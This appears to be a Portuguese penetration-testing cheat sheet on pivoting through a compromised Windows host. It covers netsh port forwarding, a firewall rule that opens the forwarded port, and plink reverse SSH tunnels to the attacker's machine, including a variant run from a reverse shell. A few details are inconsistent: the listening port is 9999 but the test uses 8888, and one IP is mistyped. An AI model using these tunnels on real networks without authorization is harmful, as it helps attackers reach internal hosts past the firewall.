Pivoting / Tunneling / Port Forwarding

Para melhor exemplificação, todos os exemplos abaixo teremos os seguintes hosts:

HOST
DESCRIÇÃO

192.168.15.5

Host atacante

192.168.15.10

Host alvo onde temos acesso

192.168.9.100

Segundo host alvo, onde não temos acesso direto. Somente 192.168.15.10 pode se comunicar com ele

Netsh

Utilitário do Windows que já vem nativos nas versão mais recentes. Uma observação importante a se fazer é que, para que isso funcione o sistema Windows deve ter o serviço IP Helper em execução (verifique em services.msc) e o suporte IPv6 deve estar habilitado para a interface que desejamos usar (verifique em ncpa.cpl).

Neste cenário iremos realizar um encaminhamento de portas, onde o host atacante 192.168.15.5 irá acessar o host 192.168.9.100 na porta 445.

Execute o comando abaixo no host 192.168.15.10.

netsh interface portproxy add v4tov4 listenaddress=192.168.15.10 listenport=9999 connectport=445 connectaddress=192.168.9.100

Obviamente o firewall do Windows não irá permitir que determinadas portas sejam utilizadas, então devemos utilizar o seguinte comando para contornar essa situação (levando em conta que temos acessos administrativos para tal ação):

netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=192.168.15.10 localport=9999 action=allow

Comprovando se deu certo

DICA: Sempre que for fazer encaminhamento da porta 445, verifique se o alvo (no caso um Windows) aceite somente o SMBv2 habilitado. Caso positivo, adicione min protocol = SMB2 no final do arquivo /etc/samba/smb.conf e depois reinicie o serviço SMB com sudo service smbd restart.

smbclient -L 192.168.15.10 --port=8888 --user=<user>

Em alguns casos, pode ser possível que o comando execute com sucesso, porém é exibido a seguinte mensagem: do_connect: Connection to 19.168.15.10 failed (Error NT_STATUS_IO_TIMEOUT) Failed to connect with SMB1 -- no workgroup available.

Isso ocorre devido ao timeout do port forwarding. Nesse caso, o melhor a se fazer, é montar uma unidade de rede no Linux, através do comnado mount.

Irá realizar um acesso entre a máquina atacante e o segundo host alvo (192.168.9.100). No exemplo abaixo, o atacante poderá se conectar na porta 3306 (MySQL) do host 192.168.9.100, através da porta local 1234.

Execute o comando no host alvo (192.168.15.10) um dois modos abaixo:

Caso esteja no visuaol gráfica (rdesktop ou xfreerdp):

plink.exe -ssh -l <user> -pw "<pass>" -R 192.168.15.5:1234:127.0.0.1:3306 192.168.15.5

Caso esteja em uma reverse shell, execute o comando abaixo. Existe essa diferença, porque ao executar o PLINK, ele irá perguntar se deseja guardar um chave no Registro do Windows e como na reverse shell essa interação pode não existir, então devemos enviar a resposta na mesma requisição.

cmd.exe /c echo y | plink.exe -ssh -l <user> -pw "<pass>" -R 192.168.15.5:1234:127.0.0.1:3306 192.168.15.5

Comprovando se deu certo

sudo nmap -p 1234 127.0.0.1

Port Forwarding

netsh interface portproxy add v4tov4 listenport=<port> listenaddress=<ip> connectaddress=<ip> connectport=<port>
netsh interface portproxy show all

---

Sites

# PLINK
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

Last updated